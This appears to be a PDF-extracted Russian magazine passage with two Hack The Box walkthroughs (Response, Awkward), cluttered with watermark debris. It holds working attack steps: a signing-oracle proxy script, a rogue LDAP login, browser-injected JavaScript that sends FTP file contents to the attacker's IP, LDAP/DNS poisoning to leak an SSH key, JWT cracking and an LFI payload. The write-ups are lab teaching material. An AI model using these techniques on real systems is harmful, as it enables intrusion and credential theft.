class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
pass
ws = ThreadedHTTPServer(("0.0.0.0", 80), ProxyServer)
print("Server started...")
try:
ws.serve_forever()
except KeyboardInterrupt:
pass
ws.server_close()
print("Server stopped.")
Логи сервера
Значение подписи из Burp Pro
Подпись получается верная , а значит , можно выполнять запрос к прокси сай ту. Для этог о реализуем функци ю sendRequest, которая также будет извле кать из ответа прокси сайта JSON-поле body и декодировать Base64.
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn
import requests
import base64
def getUrlDigest(target_url):
r = requests.get('http://www.response.htb/status/main.js.php',
cookies={'PHPSESSID': target_url})
index = r.text.index("'session_digest':'") + 18
url_digest = r.text[index : index + 64]
return url_digest
def sendRequest(target_url, method, url_digest):
data = {'url': target_url,
'url_digest': url_digest,
'method': method,
'session': '1a5455b829845168770cb337f1a05507',
'session_digest':
'd27e297b494df599e72985e6e9a166751d7de74136df9d74468aac0818c29125'
}
r = requests.post('http://proxy.response.htb/fetch', json=data)
try:
r_body = r.json()['body']
ans = base64.b64decode(r_body)
return ans
except:
return None
class ProxyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.do_Multi('GET')
def do_POST(self):
self.do_Multi('POST')
def do_Multi(self, method):
uri = self.path
target_url = 'http://chat.response.htb' + uri
print(method + " " + target_url)
url_digest = getUrlDigest(target_url)
data = sendRequest(target_url, method, url_digest)
print(data)
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
pass
ws = ThreadedHTTPServer(("0.0.0.0", 80), ProxyServer)
print("Server started...")
try:
ws.serve_forever()
except KeyboardInterrupt:
pass
ws.server_close()
print("Server stopped.")
Логи веб сервера
Если выполнить запрос через браузер , мы получаем код страницы ответа в логах. Осталось дописать возвра т этого ответа браузе ру.
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn
import requests
import base64
def getUrlDigest(target_url):
r = requests.get('http://www.response.htb/status/main.js.php',
cookies={'PHPSESSID': target_url})
index = r.text.index("'session_digest':'") + 18
url_digest = r.text[index : index + 64]
return url_digest
def sendRequest(target_url, method, url_digest):
data = {'url': target_url,
'url_digest': url_digest,
'method': method,
'session': '1a5455b829845168770cb337f1a05507',
'session_digest':
'd27e297b494df599e72985e6e9a166751d7de74136df9d74468aac0818c29125'
}
r = requests.post('http://proxy.response.htb/fetch', json=data)
try:
r_body = r.json()['body']
ans = base64.b64decode(r_body)
return ans
except:
return None
class ProxyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.do_Multi('GET')
def do_POST(self):
self.do_Multi('POST')
def do_Multi(self, method):
uri = self.path
target_url = 'http://chat.response.htb' + uri
print(method + " " + target_url)
url_digest = getUrlDigest(target_url)
data = sendRequest(target_url, method, url_digest)
if not data == None:
self.send_response(200)
if uri.endswith('.js'):
self.send_header("Content-type", "application/
javascript")
elif uri.endswith('.css'):
self.send_header("Content-type", "text/css")
else:
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(data)
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
pass
ws = ThreadedHTTPServer(("0.0.0.0", 80), ProxyServer)
print("Server started...")
try:
ws.serve_forever()
except KeyboardInterrupt:
pass
ws.server_close()
print("Server stopped.")
Главная страница сайта chat.response.htb
Попробовав авторизо вать ся , получаем ошибку в логах сервера , так как там не реализова на отправка данных .
Логи сервера
Дописы ваем отправку данных POST.
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn
import requests
import base64
def getUrlDigest(target_url):
r = requests.get('http://www.response.htb/status/main.js.php',
cookies={'PHPSESSID': target_url})
index = r.text.index("'session_digest':'") + 18
url_digest = r.text[index : index + 64]
return url_digest
def sendRequest(target_url, method, url_digest, post_body=None):
data = {'url': target_url,
'url_digest': url_digest,
'method': method,
'session': '1a5455b829845168770cb337f1a05507',
'session_digest':
'd27e297b494df599e72985e6e9a166751d7de74136df9d74468aac0818c29125'
}
if method == 'POST':
data['body'] = base64.b64encode(post_body)
r = requests.post('http://proxy.response.htb/fetch', json=data)
try:
r_body = r.json()['body']
ans = base64.b64decode(r_body)
return ans
except:
return None
class ProxyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.do_Multi('GET')
def do_POST(self):
self.do_Multi('POST')
def do_Multi(self, method):
uri = self.path
target_url = 'http://chat.response.htb' + uri
print(method + " " + target_url)
url_digest = getUrlDigest(target_url)
if method == 'POST':
content_length = int(self.headers.get('Content-Length'))
post_body = self.rfile.read(content_length)
print("body: " + post_body.decode())
else:
post_body = None
data = sendRequest(target_url, method, url_digest, post_body)
if not data == None:
self.send_response(200)
if uri.endswith('.js'):
self.send_header("Content-type", "application/
javascript")
elif uri.endswith('.css'):
self.send_header("Content-type", "text/css")
else:
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(data)
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
pass
ws = ThreadedHTTPServer(("0.0.0.0", 80), ProxyServer)
print("Server started...")
try:
ws.serve_forever()
except KeyboardInterrupt:
pass
ws.server_close()
print("Server stopped.")
Теперь пробуем некоторые популярные комбинации учетных данных и авто ризуемся как guest/guest.
Главная страница чата
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
ВЗЛОМ |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
||||||
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
БЬЕМСЯ НАД САМОЙ СЛОЖНОЙ МАШИНОЙ С
HACK THE BOX
ПРОДВИЖЕНИЕ Пользователь bob
В логах видим переданные на сервер данные . Помимо логина и пароля, также передается адрес сервера LDAP.
Логи сервера
Значит , мы можем запустить собствен ный LDAP-сервер , создать запись для админис тратора сайта и отправить веб приложе ние для авториза ции через наш сервер . Так как мы будем знать заданные учетные данные , мы авторизу емся в приложе нии от имени админа .
Первым делом установим и настро им сервер LDAP.
sudo apt install slapd
sudo dpkg-reconfigure slapd
Настрой ка LDAP
Теперь создадим запись. Нам нужно создать подразде ление (OU) users и добавить к нему пользовате ля admin. Параметры записываем в файл, который указыва ем утилите ldapadd.
dn: ou=users,dc=response,dc=htb
changetype: add
objectClass: organizationalPerson
sn: test
cn: test
dn: uid=admin,ou=users,dc=response,dc=htb
changetype: add
objectClass: inetOrgPerson
userPassword: ralfralf
sn: test
cn: test
ldapadd -x c -D "cn=admin,dc=response,dc=htb" -w 'ralf' -H ldap://
127.0.0.1 -f new.ldap
Добав ление записей LDAP
Затем в Burp Proxy добавим правило замены ldap.response.htb на адрес 10.10.14.40. Таким образом при авториза ции из браузе ра изначаль ный сервер LDAP будет заменен нашим адресом и приложе ние пройде т авто ризаци ю через него.
Burp Proxy — прави ло замены
Как видишь, теперь мы работаем от имени админа .
Главная страница чата
Спустя несколь к о секунд увидим входящие сообщения от пользовате ля bob.
Перепис ка с пользовате лем
Я попробова л ответить пользовате лю на его вопрос , и он прислал мне параметры FTP-сервера и учетные данные для подклю чения .
Перепис ка с пользовате лем
Я отправи л пользовате лю адрес страницы и в логах веб сервера увидел обращение к ней.
Перепис ка с пользовате лем
Логи веб сервера
Так как пользователь посещае т нашу страницу , напишем простой скрипт, который выполни т запрос к FTP-серверу и отправи т его ответ на другой открытый порт.
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", 'http://172.18.0.6:2121/',true);
xhr.setRequestHeader("Content-Type", "application/
x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status ===
200) {}
}
xhr.send("USER ftp_user\r\nPASS Secret12345\r\nPORT 10,10,14,40,
100,100\r\nLIST\r\n");
</script>
В последней строке мы выполняем команду LIST, которая верне т список файлов в каталоге . Вставляем скрипт на страницу и повторно отправляем ссылку пользовате лю .
Отве т FTP
Видим файл creds.txt — нам, безусловно , нужно его содержимое . Чтобы его узнать, изменим команду LIST на RETR creds.txt. И после повторной отправки ссылки получаем содержимое файла .
|
|
|
|
Отве |
т FTP |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
В файле есть учетные |
данные |
для |
авториза |
ции |
по SSH. Авторизу |
емся |
|||
и забираем первый |
флаг. |
|
|
|
|
|
|
|
|
Флаг пользовате ля
Пользователь scryh
Теперь нам необходимо собрать информацию . Я, как обычно , использовал
для этог о скрипты PEASS, но в этот раз в выводе скрипта мало интерес ного: в списках процес сов отмечаем работающий Docker, а также недавно модифициро ванные файлы в домашнем каталоге другого пользовате ля.
Список процес сов
Последние модифициро ван ные файлы
Перехо дим к домашнему каталогу пользовате ля scryh и узнаем , что можем просматри вать некоторые файлы .
Содер жимое каталога scan
Содер жимое файла log.txt
Также есть два скрипта , которые я перенес на локальный хост и открыл в VSCode для анализа . Выяснилось , что скрипт send_report.py отправляет файл на указан ный сервер определен ному пользовате лю .
Исходный код send_report.py
Скрипт scan.sh очень объемный , и его работу будем разбирать поэтапно дальше .
Исходный код scan.sh
Интерес ные вопросы : запускают ся ли эти скрипты на хосте и что для этого нужно ? Ответить на них поможет утилита для отслежива ния запускаемых про цессов pspy64. Переносим исполняемый файл на удален ный сервер и в логах отмечаем работу cron и исполнение скрипта каждую минуту от имени пользовате ля scryh.
Логи pspy64
Перехо дим к разбору этого самописного сканера . В строке 19 произво дит ся LDAP-запрос и из ответа извлекают ся все серверы . Выполним запрос к LDAP, пароль и DN подклю чения указаны в строках 8 и 9.
/usr/bin/ldapsearch -x -D 'cn=admin,dc=response,dc=htb' -w
'aU4EZxEAOnimLNzk3' -s sub -b 'ou=servers,dc=response,dc=htb' '(
objectclass=ipHost)'
Отве т от сервера
Затем для каждог о сервера сканиру ется порт 443 (строка 26). Давай добавим
вбазу новую запись, где укажем свой хост. Сначала добавим эту запись
вфайл.
dn: cn=rPC,ou=servers,dc=response,dc=htb
objectClass: top
objectClass: ipHost
objectClass: device
cn: rPC
manager: uid=marie,ou=customers,dc=response,dc=htb
ipHostNumber: 10.10.14.32
Затем отправим в базу.
ldapadd -D 'cn=admin,dc=response,dc=htb' -w 'aU4EZxEAOnimLNzk3' -f
new.ldif
Запись данных в базу LDAP
А теперь попробу ем поймать подклю чение к порту 443. Ожидаем несколь ко секунд и видим входящий запрос .
|
|
|
Логи |
листенера |
|
|
|
||
|
|
|
|
|
|
|
|||
Продол жаем |
анализ |
скрипта . |
В строке 30 снова происхо |
ди т обращение |
|||||
к базе LDAP, где для определен |
ного |
сервера |
извлекает ся UID пользовате |
ля . |
/usr/bin/ldapsearch -x -D 'cn=admin,dc=response,dc=htb' -w
'aU4EZxEAOnimLNzk3' -s sub -b 'ou=servers,dc=response,dc=htb' '(&(
objectclass=ipHost)(ipHostNumber='10.10.14.32'))'|grep 'manager:
uid='|cut -d '=' -f2|cut -d ',' -f1
Получе ние UID пользовате ля для нашего сервера
Затем полученный UID передается в новый запрос LDAP в строке 35. Только этот запрос выполняет ся к другому подразде лению (customers), и из ответа выделяется почтовый адрес пользовате ля . Посмотрим на это подразде ление .
/usr/bin/ldapsearch -x -D "cn=admin,dc=response,dc=htb" -w
aU4EZxEAOnimLNzk3 -s sub -b 'ou=customers,dc=response,dc=htb' '(uid='
marie')'
Отве т от сервера
Теперь нам нужн о добавлять записи в оба подразде ления. Новый файл new. ldif:
dn: cn=rPC,ou=servers,dc=response,dc=htb
objectClass: top
objectClass: ipHost
objectClass: device
cn: rPC
manager: uid=ralf,ou=customers,dc=response,dc=htb
ipHostNumber: 10.10.14.32
dn: uid=ralf,ou=customers,dc=response,dc=htb
objectClass: inetOrgPerson
cn: Marie Wiliams
sn: ralf
uid: ralf
mail: ralf@ralf-pc.htb
Обновля ем записи в базе и пробуем получить почту уже своего пользовате ля .
ldapadd -D 'cn=admin,dc=response,dc=htb' -w 'aU4EZxEAOnimLNzk3' -f
new.ldif
/usr/bin/ldapsearch -x -D "cn=admin,dc=response,dc=htb" -w
aU4EZxEAOnimLNzk3 -s sub -b 'ou=customers,dc=response,dc=htb' '(uid='
ralf')'|grep 'mail: '|cut -d ' ' -f2
Email запрошен ного пользовате ля
В строке 40 из почтового адреса пользовате ля получается определить домен. Затем по указан ному домену выполняет ся запрос nslookup (стро ка 42), в случае ошибки дополнитель но указыва ется и полученный ранее адрес сервера (строка 48). Если запрос выполнен успешно, то из ответа извлекает ся адрес почтового сервера (строки 60–64), куда и будет отправлен файл с результатом сканиро вания порта (строка 70).
Таким образом , нам нужно развернуть на своем хосте сервер DNS и сде лать на нем MX-запись. Для этого можно использовать инстру мен т dnsmasq. Создадим файл конфигура ции :
address=/mail.ralf-pc.htb/10.10.14.32
mx-host=ralf-pc.htb,mail.ralf-pc.htb,0
И передадим его dnsmasq:
dnsmasq -C dns.txt
Проверим работу DNS-сервера с удален ного хоста .
dig ralf-pc.htb @10.10.14.32 MX +short
dig mail.ralf-pc.htb @10.10.14.32 +short
Провер ка работы DNS
А теперь выполним команду nslookup из скрипта , чтобы убедить ся , получит ли сканер адрес нашего почтового сервера .
nslookup -type=mx ralf-pc.htb 10.10.14.32
nslookup -type=mx ralf-pc.htb 10.10.14.32 |grep 'mail exchanger'|cut
-d '=' -f2|sort|head -n1|cut -d ' ' -f3
Получе ние адреса почтового сервера
Все готово, мы поэтапно прошли работу скрипта , но осталось кое что еще. Во первых , сканер проверя е т порт 443, на котором должен быть SSL. Сге нерируем ключ и сертифика т для веб сервера .
openssl req -x509 -nodes -newkey rsa:4096 -out cert.pem -keyout key.
pem -sha256 -days 356
А код самого HTTPS-сервера на Python 3 получим по первой ссылке :
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
httpd = HTTPServer(('10.10.14.32', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket,
keyfile="./key.pem",
certfile='./cert.pem', server_side=True)
httpd.serve_forever()
Во вторых , нам нужн о куда то принимать входящее сообщение . Для этого развернем простой SMTP-сервер :
sudo python3 -m smtpd -n -c DebuggingServer 10.10.14.32:25
Все готово. Теперь обновляем запись LDAP, как это делали раньше , и в течение минуты получаем запрос на веб сервер , а потом и сообщение на почтовый .
Входящее сообщение
В Base64 закодирован PDF-файл. Декодируем его и смотрим .
Отче т о сканиро вании
В самом отчете видим преобра зова ние строки штата из сгенери рован ного сертифика та SSL. Она получается из файла , который расположен в папке рядом со скриптами для Nmap на удален ном сервере .
Содер жимое файла stateOnProvinceName/Some-Sate
Так мы можем манипулиро вать путем к файлу , который будет отражен в отче те. Попробу ем прочитать закрытый пользователь ский ключ SSH. Для этого создадим новый сертифика т и укажем путь к файлу в поле штата .
openssl req -x509 -nodes -newkey rsa:4096 -out cert.pem -keyout key.
pem -sha256 -days 356
Создание сертифика та
Снова обновляем запись LDAP и получаем новый файл. Теперь отчет, как и предполага лось , содержи т ключ SSH!
Отчет
С этим ключом подклю чаем ся к хосту и получаем еще одного пользовате ля .
Сессия пользовате ля scryh
Итак, мы узнали учетные записи двух пользовате лей , но дальше машина ока залась еще сложнее , и получить рут на ней я так и не смог.
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ИНЖЕКТИМ КОМАНДЫ ОС РАЗНЫМИ СПОСОБАМИ
В этом райтапе я покажу, как обходить аутентифика цию веб приложе ния , искать уязвимос ти в JWT и эксплу ати ровать уяз вимости LFI и SSRF. Помимо этого , нам понадобит ся несколь ко внедрений команд при обработ ке данных .
RalfHacker hackerralf8@gmail.com
Наша цель — захва т учебной машины Awkward с площад ки Hack The Box. Уро вень сложности — средний .
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Первым делом добавляем IP-адрес машины в /etc/hosts:
10.10.11.185 awkward.htb
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляе т атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта :
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу ет в два этапа . На первом произво дится обычное быстрое ска нирование , на втором — более тщатель ное сканиро вание, с использовани ем имеющих ся скриптов (опция -A).
Резуль та т работы скрипта
По результатам сканиро вания видим всего два открытых порта : 22 — служба
OpenSSH 8.9p1 и 80 — веб сервер Nginx 1.18.0. На SSH нам пока делать нечего, поэтому посмотрим , что нам покажет веб сервер .
Редирек т на новый адрес
Главная страница недоступна , так как сайт выполняе т редирект на новый домен. Добавляем этот адрес в файл /etc/hosts и повторя ем запрос .
10.10.11.185 awkward.htb hat-valley.htb
Главная страница сайта
ТОЧКА ВХОДА
Чтобы увеличить область тестирова ния , лучше всего постро ить карту сайта . Это можн о сделать прямо в Burp Proxy, выбрав в контекс тном меню
Engagement tools → Discover content.
Карта сайта
На самом сайте ничего найти не удалось , и никакие дополнитель ные ска нирования не помогли . Тогда я стал искать новые точки входа и нашел нес кольк о новых страниц в файле app.js.
Ссылка на страницу сайта
Ссылка на страницу сайта
Перехо дим на любую из них, нас встрети т форма авториза ции .
Форма авториза ции сайта
Перебор простых логинов и паролей ни к чему не привел , и я вернулся к Burp History. В одном из запросов обратим внимание на передаваемые куки
token=guest.
|
|
|
Запрос на сайт в Burp Proxy |
|
|
||
|
|
|
|
|
|
||
Попробу |
ем использовать |
вместо guest пользовате |
ля admin в надежде |
||||
на неправиль |
ну ю провер ку значения |
. Для удобства можно просто создать |
|||||
прави ло замены в Burp Proxy. |
|
|
|
Прави ло замены в Burp Proxy
И теперь нам доступна страница /dashboard.
Страница dashboard
Локаль ное хранили ще браузе ра
ТОЧКА ОПОРЫ
Просматри вая Burp History, находим новый запрос к неизвес тному API.
Burp History
На самой странице просто выводится ошибка JWT.
Отве т сервера
Так как происхо ди т расшифров ка значения куки token, а мы там просто ука зали слов о admin, то и расшифро ван о оно не будет. Отсюда и получается ошибка . Переносим запрос в Burp Repeater, совсем удаляем куки и выпол няем запрос .
Отве т сервера
API работае т и без аутентифика ции, поэтому мы получаем список поль зователей и хеши их паролей. Хеши паролей отправляем на CrackStation и получаем один открытый пароль.
Резуль тат взлома хешей
Авторизу емся с полученными учетными данными как пользователь christopher.jones.
Главная страница пользовате ля
JSON Web Token
Раз используют ся токены JWT, стои т провес ти несколь ко тестов и поп робовать подделать или даже легитимно создать токен (получить секрет ).
Запрос в Burp Proxy
JSON Web Token состои т из трех частей : заголовка (header), полезной наг рузки (payload) и подписи . Заголовок и полезная нагрузка представ ляют собой объекты JSON, при этом нагрузка может быть любой, это именно те критичес ки важные данные , которые передаются приложе нию . Заголовок содержи т определен ные поля:
•alg — алгоритм , используемый для подписи /шифрования . Это обязатель ный ключ;
•typ — тип токена. Это поле должно иметь значение JWT.
Третий элемен т вычисляет ся на основании первых двух и зависит от выб ранног о алгорит ма. Токены могут быть перекодиро ваны в компак тное пред ставление : к заголовку и полезной нагрузке применя ется алгоритм Base64URL, после чего добавляет ся подпись и все три элемен та разделя ются точ ками.
Для анализа токенов можно использовать приложе ние jwt_tool или сайт jwt.io.
Восполь зуем ся jwt.io, чтобы посмотреть , что внутри у токена.
Декоди рова ние JWT-токена
Видим , что в JWT передается только имя пользовате ля и какой то иден тификатор . Первым делом стои т попробовать подобрать секре т JWT, чтобы можн о было сгенери ровать токен для другого пользовате ля. Перед брутом секрета нужн о переписать JWT в форма т программы John the Ripper с помощью скрипта jwt2john из набора jwtcrack.
john --wordlist=rockyou.txt jwt.txt
Резуль та т перебора секрета JWT
Теперь вставляем полученный секре т на сайт и меняем имя пользовате ля на bean.hill. Как мы узнали из запроса к API, это системный админис тратор. Генерируем новый токен и вставляем в куки. После обновления страницы ни аватар ка, ни имя пользовате ля не изменились , хотя поменялась информа
ция о пользовате ле. Тогда я зашел в локальное хранили ще браузе ра и нашел там сохранен ное имя пользовате ля.
Локаль ное хранили ще браузе ра
Обновля ем имя пользовате ля в хранили ще и видим изменения в странице .
Тестирова ние поля frstName
Попробовав несколь ко нагрузок для внедрения шаблона (SSTI), ни к чему не приходим , поэтому поищем другой вектор атаки .
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
ВЗЛОМ |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
||||||
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ИНЖЕКТИМ КОМАНДЫ ОС РАЗНЫМИ СПОСОБАМИ
ПРОДВИЖЕНИЕ
SSRF
Перехо дим к следующе му обнаружен ному в Burp History API — store-status. Этот эндпоин т принима ет в качестве параметра URL и возвра щает содер жимое страницы .
Burp Repeater — запрос к API
Это типичная уязвимость SSRF, поэтому , используя Burp Intruder, прос канируем внутренние сервисы на разных портах . Будем перебирать номер порта .
SSRF — это атака на сервер , в результате которой злоумыш ленник получает возможность отправлять запросы от имени скомпро мети рован ного хоста . SSRF может быть использована в DoS-кампани ях для маскиров ки реального источника атаки . В таких случаях уязвимый хост выступа е т в качестве прок си сервера .
Burp Intruder — вкладка Positions
Burp Intruder — вкладка Payloads
Burp Intruder — результа т перебора
В итоге находим внутренние сервисы на портах 3002 и 8080. На первом обнаружи ваем еще один API.
Содер жимое страницы на порте 3002
Давай исследуем эти API.
LFI
В API all-leave находим вызов функции exec, которая выполняе т команду awk с пользователь ским вводом (имя пользовате ля из токена). Вызову пред шеству ет фильтра ция пользователь ского ввода по указан ному черному спис ку символов .
Исходный код API all-leave
Вызов API от имени пользовате ля bean.hill
Эти символы мешают нам перейти к инъекции произволь ных команд ОС, но мы можем внедрить путь и получить содержимое произволь ного файла . Чтобы получить содержимое файла /etc/passwd, используем в качестве имени пользовате ля в токене последова тель ность
'/ /etc/passwd '
Создание JWT
Содер жимое файла /etc/passwd
Теперь подумаем , какие файлы могут содержать важные для продвижения данные .
user
Первым делом я попытался прочитать приват ный ключ пользовате ля, но такого в системе не оказалось . Идея с историей команд bash также потер пела неудачу . А вот файл .bashrc, который представ ляет собой скрипт, запускающий ся каждый раз, когда пользователь открывае т новую командную оболоч ку, показал нам файл с интерес ным названи ем.
'/ /home/bean/.bashrc '
Содер жимое файла .bashrc
Читаем скрипт для бэкапа рабочего каталога пользовате ля.
'/ /home/bean/Documents/backup_home.sh '
Содер жимое файла backup_home.sh
Этот скрипт открывае т нам местополо жение файла бэкапа, и мы его, конечно же, скачива ем.
'/ /home/bean/Documents/backup/bean_backup_final.tar.gz '
curl -i -s -k -X 'GET' -H 'Host: hat-valley.htb' -H 'Connection:
close' -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJ1c2VybmFtZSI6IicvIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY
2t1cF9maW5hbC50YXIuZ3ogJyIsImlhdCI6MTY3MjU5MjIyMH0.
P075hge2w85k97dORKjaOrqw7qLb_mLE7HLxX1htqYo' http://hat-valley.htb/
api/all-leave --output backup.tar.gz
В надежде найти какие нибудь заметки или конфиги с учетными данными ищем все упомина ния имени пользовате ля по всем файлам в архиве .
Поиск подстро ки bean
Видим интерес ную строку в файле content-DS1ZS1. Теперь прочита ем дан ный файл, чтобы понимать контекст .
Содер жимое файла content-DS1ZS1
Это список задач, а внизу видим логин и найден ную ранее строку . Пред полагаем , что это пароль, и авторизу емся по SSH.
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь нам необходимо собрать информацию . Я, как обычно , применю для этог о скрипты PEASS.
Что делать после того, как мы получили доступ в систему от имени поль зователя ? Вариантов дальнейшей эксплу ата ции и повышения привиле гий может быть очень много , как в Linux, так и в Windows. Чтобы собрать информаци ю и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов , которые проверя ю т сис
тему на автомате .
Скрипт помог найти сразу несколь ко интерес ных вещей.
Из файла конфигура ций Nginx узнаем о сайте store.hat-valley.htb.
Содер жимое файла store.conf
В списке процес сов отмечаем работу программы inotifywait, которая отслежива ет изменение вот этого файла :
/var/www/private/leave_requests.csv
Список процес сов
У пользовате ля christine есть почтовые сообщения .
Файлы с почтовыми сообщени ями
Перехо дим к сайту store.hat-valley.htb, для просмотра которого обновляем запись в файле /etc/hosts:
10.10.11.185 awkward.htb hat-valley.htb store.hat-valley.htb
user → web
Перехо дим на сайт, и нас встречае т HTTP-аутентифика ция.
Запрос учетных данных
Попробовав несколь ко комбинаций , заходим от имени пользовате ля admin с полученным ранее пользователь ским паролем.
Главная страница сайта store.hat-valley.htb
У нас уже есть доступ к системе , нужно попробовать получить исходный код сайта , что значитель н о облегчит тестирова ние .
Содер жимое каталога /var/www/store/
Каталог product-details содержи т тексто вые файлы с данными о товарах.
Содер жимое каталога product-details
Покопав шись на сайте , замечаем , что если добавить файл в корзину , то на сервере в каталоге cart создает ся файл с содержимым корзины . Имя файла похоже на идентифика тор пользовате ля .
Добав ление товара в корзину
Содер жимое каталога cart
В файле cart_action.php находим вызов функции system, куда передается команда sed. В самой команде используют ся данные , которыми может манипулиро вать пользователь .
Содер жимое файла cart_action.php
